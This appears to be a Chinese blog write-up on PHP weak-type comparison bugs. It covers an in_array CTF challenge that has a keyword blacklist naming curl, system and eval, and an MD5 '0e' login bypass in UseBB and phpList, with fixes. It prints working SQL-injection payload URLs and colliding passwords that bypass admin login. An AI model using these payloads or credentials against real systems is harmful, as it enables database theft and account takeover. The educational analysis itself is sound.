这几天稍微有点休息时间,所以学习了下红日安全小组的代码审计项目,Day1的审计就是探究in_array函数在使用时可能存在的安全缺陷,然后我就想到了对php的弱类型比较做一个比较系统的学习,顺便把学到的知识记录下来。

这一部分的知识比较多,一篇文章写不完,所以打算两部分或者三部分来完成。

1. in_array()

21

in_array()函数中,只有在第三个参数被设置为true时才会对给定的值在数组中进行强类型比较搜索。而有些时候开发者可能会直接忘记将第三个参数值设置为true而导致漏洞产生。

22

上面是一个简单的例子,在第三个参数没有被设置为true时,进行就是弱类型比较,字符串1aaa会被数字1匹配到。

1.1 题目

下面是一道ctf题

index.php :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
}
?>

config.php :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day1";

function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>

sql :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 搭建CTF环境使用的sql语句
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );

INSERT INTO users VALUES(1,'Lucia','Lucia@hongri.com',3000);
INSERT INTO users VALUES(2,'Danny','Danny@hongri.com',4500);
INSERT INTO users VALUES(3,'Alina','Alina@hongri.com',2700);
INSERT INTO users VALUES(4,'Jameson','Jameson@hongri.com',10000);
INSERT INTO users VALUES(5,'Allie','Allie@hongri.com',6000);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');

1.2 漏洞分析

这道题的漏洞成因很简单,就是检查用户可控的参数id是不是在$whitelist内,$whitelist就是数据库中的记录对应的条数,比如数据库中有5条记录,那$whitelist就是[1,2,3,4,5]

23

然后in_array函数的第三个参数没有被设置为true,所以导致了弱类型比较,造成了漏洞。

1.3 题解

1.3.1 第一层:过滤了concat()函数

stop_hack()函数过滤掉了很多东西,首先注意到的是它过滤了concat函数,所以要找到concat函数的替代函数。

一个可行的替代函数是make_set

语法如下:

1
make_set(bits, str1, str2, ...)

make_set会返回一个设定值(包含分隔子字符串的分隔符,)在设置位的相应位的字符串,str1对应位0,str2对应位1,以此类推。

看几个例子:

1
2
3
4
5
6
7
mysql> select make_set(1, 'aaa', 'bbb', 'ccc');
+----------------------------------+
| make_set(1, 'aaa', 'bbb', 'ccc') |
+----------------------------------+
| aaa |
+----------------------------------+
1 row in set (0.03 sec)

这个例子返回的结果是aaa,将bits转化为二进制,1转换为二进制的结果是0001,第0位是1,所以第0位对应的str1,也就是aaa,会被输出。

1
2
3
4
5
6
7
mysql> select make_set(3, 'aaa', 'bbb', 'ccc');
+----------------------------------+
| make_set(3, 'aaa', 'bbb', 'ccc') |
+----------------------------------+
| aaa,bbb |
+----------------------------------+
1 row in set (0.00 sec)

将bits位上的数字3转为二进制是0011,所以取第0位和第1位的字符串输出,这个返回的结果是aaa,bbb,两个字符串之间用,连接。

make_set替代concat爆数据库看下:

1
2
// 爆数据库
http://localhost/in_array/index.php?id=1 and updatexml(1,make_set(3,0x7e,(database())),1)%23

1

1.3.2 第二层:过滤了or

但是在爆数据表名的时候却发现了问题:or detected……

1
2
// 爆数据表
http://localhost/in_array/index.php?id=1 and updatexml(1,make_set(3,0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1)),1)%23

2

stop_hack()函数中过滤了or,而information_schema中包含or,所以也被waf掉了。

3

一般过滤掉or时,常见的绕过方法有:

  1. 双写绕过,但这种一般适用于用replace()函数把or去掉的题目,这种题目一般都不会循环检查,所以双写or就可以绕过;
  2. 大写OR绕过,有的题目只会匹配小写的or,但是不适用于本题,本题的正则是/$hack/i/i表示大小写不敏感,所以大写的OR还是会被匹配到;
  3. ||绕过,但是这种适用于or关键字,对于information_schema中的or没用。

现在看起来所有的方法都没用,一番苦搜之后,发现了两种替代方法,其中一种方法仅仅在Mysql版本5.7上适用。

information_schame数据库

我们首先要知道information_schema是什么,为什么爆数据表、爆字段的时候都需要用到这个库。

information_schema这个库是用来存储数据库元数据的,例如数据库名、数据表明、列名的数据类型、访问权限等。information_schema中的表实际上是视图,而不是基本表,所以文件系统上没有与之相关的文件。

TABLES表

information_schema数据库中的TABLES数据表,就存储了mysql数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型,存储引擎、创建时间等信息。

8

所以我们都用information_schema.TABLES来获取数据表信息。

COLUMNS表

存储数据表中的列信息,包括表有多少个列,每个列的类型。

9

在sql注入时用information_schema.COLUMNS来获取字段信息。

innodb

要求:MySQL > 5.6.x

在MySQL中使用最广泛的两种引擎莫过于InnoDBMyISAM。在MySQL5.5版本之前,MyISAM是MySQL关系数据库管理系统的默认存储引擎。在5.6版本的MySQL中,因为InnoDB引擎对支持事务,具有更高的并发性等优点开始被广泛的使用并取代MyISAM,在5.6版本中正式成为MySQL的默认引擎。

从5.6.x版本开始,InnoDB新增了两个数据表:

1
2
innodb_index_stats
innodb_table_stats

从官方的解释可以看到这两个表的效果一样,这两张表中都存储了我们需要的database_nametable_name

10

mysql.innodb_table_stats或是mysql.innodb_index.stats替代information.schema,可以得到payload:

1
2
// 爆数据表
http://192.168.247.131/in_array/index.php?id=1 and updatexml(1,make_set(3,0x7e,(select table_name from mysql.innodb_table_stats where database_name=database() limit 0,1)),1)%23

成功获得数据表信息:

11

但是问题马上来了,我们无法获得字段名,因为这两张表中不包含字段信息。

对于字段名未知的字段可以用union select进行无列名注入,但是本题偏偏又过滤掉了union关键字(过滤真不少…),把union从黑名单中去除后来尝试一下。

在介绍具体的方法之前先看一下具体的例子,有一个users表,其中有idnameemailsalary字段。

1
2
3
4
5
6
7
8
9
10
11
mysql> select * from users;
+----+---------+--------------------+--------+
| id | name | email | salary |
+----+---------+--------------------+--------+
| 1 | Lucia | Lucia@hongri.com | 3000 |
| 2 | Danny | Danny@hongri.com | 4500 |
| 3 | Alina | Alina@hongri.com | 2700 |
| 4 | Jameson | Jameson@hongri.com | 10000 |
| 5 | Allie | Allie@hongri.com | 6000 |
+----+---------+--------------------+--------+
5 rows in set (0.00 sec)

使用union进行联合查询

1
2
3
4
5
6
7
8
9
10
11
12
mysql> select 1,2,3,4 union select * from users;
+---+---------+--------------------+-------+
| 1 | 2 | 3 | 4 |
+---+---------+--------------------+-------+
| 1 | 2 | 3 | 4 |
| 1 | Lucia | Lucia@hongri.com | 3000 |
| 2 | Danny | Danny@hongri.com | 4500 |
| 3 | Alina | Alina@hongri.com | 2700 |
| 4 | Jameson | Jameson@hongri.com | 10000 |
| 5 | Allie | Allie@hongri.com | 6000 |
+---+---------+--------------------+-------+
6 rows in set (0.00 sec)

接着就可以使用数字来获取对应的列名,如第3列就对应了users表中的email字段。

1
2
3
4
5
6
7
8
9
10
11
12
mysql> select `3` from (select 1,2,3,4 union select * from users)f;
+--------------------+
| 3 |
+--------------------+
| 3 |
| Lucia@hongri.com |
| Danny@hongri.com |
| Alina@hongri.com |
| Jameson@hongri.com |
| Allie@hongri.com |
+--------------------+
6 rows in set (0.00 sec)

然后加上limit我们就可以读取任意一行的信息:

1
2
3
4
5
6
7
mysql> select `3` from (select 1,2,3,4 union select * from users)f limit 2,1;
+------------------+
| 3 |
+------------------+
| Danny@hongri.com |
+------------------+
1 row in set (0.00 sec)

` 符号无法使用的时候,还可以用alias来替代:

14

而对于本题的flag数据表在前面一步已经通过mysql.innodb_index_stats获得了,再通过无列名注入的方式就可以获得数据信息:

12

最后生成的payload为:

1
http://192.168.247.131/in_array/index.php?id=1 and updatexml(1,make_set(3,0x7e,(select `1` from (select 1 union select * from flag)red limit 1,1)),1)%23

13

在没有过滤掉union*的未知列名的情况下,可以用上面方式进行注入,但是本题禁掉了union*,所以这种方法也不是很好。第二种方法可以突破这个限制,但是MySQL的版本要求更高。

sys.schema_auto_increment_columns

要求:MySQL >= 5.7

MySQL 5.7中引入了一个新的sys schema,sys是要给MySQL自带的系统库,在安装MySQL 5.7以后的版本,使用mysqld进行初始化时,会自动创建sys库。sys库里的表,视图,函数可以使我们更方便、更快捷的了解到MySQL的一些信息。sys库里的视图数据,大多是从performance_schema里面获得的,目标是降低performance_schema`的复杂度,让用户能更快的了解DB的运行情况。(来自 https://www.cnblogs.com/kunjian/p/11653853.html

根据官方文档,sys.schema_auto_increment_columns视图中存储了哪些表具有auto_increment列(自增列),并提供有关这些列的信息。

15

从上图可以看到,从sys.schema_auto_increment_columns视图中可以看到哪些数据库(table_schema)中的哪个数据表(table_name)中的哪个column_name具有自增性质。

对应的查询语句为:

1
select TABLE_NAME from sys.schema_auto_increment_columns where table_schema=database();

在本地测试的结果:

16

对应本题有payload:

1
2
// 爆数据表
http://localhost/in_array/index.php?id=1 and updatexml(1,make_set(3,0x7e,(select TABLE_NAME from sys.schema_auto_increment_columns where table_schema=database() limit 1,1)),1)%23

17

获得users表,但是当将limit 0,1换成limit 1,1来查询下一张表的时候却发现没有成功:

18

这是因为flag表中没有自增的字段,所以自然的,sys.schema_auto_increment_columns中不会有flag表的信息,所以在做sql注入题时,用sys.schema_auto_increment_columns其实是比较冒险的,因为你根本就不知道你需要的表中是否有自增字段。

schema_table_statistics_with_buffer and x$schema_table_statistics_with_buffer

19

在视图schema_table_statistics_with_buffer中看到了flag表信息。

payload:

1
http://192.168.247.131/in_array/index.php?id=1 and updatexml(1,make_set(3,0x7e,(select TABLE_NAME from sys.schema_table_statistics_with_buffer where table_schema=database() limit 0,1)),1)%23

20

但是这里也还是无法获取到字段信息,找不到一个视图能代替information_schema.COLUMNS视图,绕来绕去还是要进行无列名注入。

本来本题的重点是in_array()函数中存在的漏洞,没想到跑这么远,学到更多的是sql注入方面的技巧……

2. md5碰撞

2.1 漏洞原理

这个漏洞是世界上最好的语言php的特性导致的。

php在处理哈希字符串时,会利用!===来对哈希值进行比较,此时php会把每一个以0e开头的哈希值都解释为0

1
2
3
$ php -r "var_dump('0e768261251903820937390661668547' == '0')";
Command line code:1:
bool(true)

现在的网站一般都是将密码进行加密,并将加密后的结果存到数据库中,然后在登陆的时候取出来进行验证,所以如果数据库中有用户的密码的哈希值是oe开头的话,那么攻击者就可以用这个用户的身份进行登录。

2.2 漏洞实例 CVE-2020-8088

2.2.1 漏洞描述:

panel_login.php in UseBB 1.0.12 allows type juggling for login bypass because != is used instead of !== for password hashes, which mishandles hashes that begin with 0e followed by exclusively numerical characters.

这是UseBB 1.0.12版本中存在的登录漏洞,

2.2.2 漏洞利用

在安装的时候注册管理员账号用的是下面这个密码:

1
2
username: admin
password: s878926199a

然后用新的密码进行登录:

1
2
username: admin
password: s155964671a

成功登录管理员账号:

24

2.2.3 漏洞成因

漏洞关键代码在sources/panel_login.php文件中

第66行和第67行是进行sql查询,根据用户名$_POST['user']从数据库中取出对应的用户信息。

$userdata['passwd']中就是md5加密后的用户密码,然后在第73行将用户登录时input的$_POST['passwd']密码进行md5加密后与从数据库里取出的密码进行比较,用的是!=,属于弱比较。

26

可以看到我们存储在数据库中的密码是0e545993274517709034328855841020(明文是s878926199a),登录时用的密码是s155964671a,对应的md5值为0e342768416822451524974117254469

25

前面已经说过,在进行弱类型比较时,php会认为这两个值相等

1
2
3
$ php -r "var_dump(md5('s155964671a') == md5('s878926199a'));"
Command line code:1:
bool(true)

所以接着程序会进入第125行,密码验证已经通过,接下来会执行后续登录操作。

2.2.4 修复方案

这个cms早在2014年就停止维护了,官方是不会再修复这个漏洞了,但我们知道修复这个漏洞很简单,只要把第73行的

1
if ( !$userdata['id'] || md5(stripslashes($_POST['passwd'])) != $userdata['passwd'] )

换成

1
if ( !$userdata['id'] || md5(stripslashes($_POST['passwd'])) !== $userdata['passwd'] )

即可。

2.3 漏洞实例 CVE-2020-8547

2.3.1 漏洞描述:

phpList 3.5.0 allows type juggling for admin login bypass because == is used instead of === for password hashes, which mishandles hashes that begin with 0e followed by exclusively numerical characters

2.3.2 漏洞成因

漏洞点就在public_html/lists/admin/phpListAdminAuthentication.php文件validateLogin函数的第49行:

28

这个漏洞和上一个漏洞的成因一样,都是根据用户名从数据库中取出hash加密后的密码,然后将用户登录时的密码也进行hash加密,然后将这两个密码进行比较,问题就是这里第49行采取的是弱类型比较,所以当用户加密后的密码是0e开头的话,就会导致hash值碰撞。

2.3.3 官方修复

这个漏洞官方已经修复了。

27

官方的修复就是将==号改成了强类型比较符号===

参考:

  1. https://www.jianshu.com/p/6eba3370cfab
  2. https://xz.aliyun.com/t/2160
  3. https://xz.aliyun.com/t/1586/
  4. https://xavibel.com/2020/01/22/usebb-forum-php-type-juggling-vulnerability/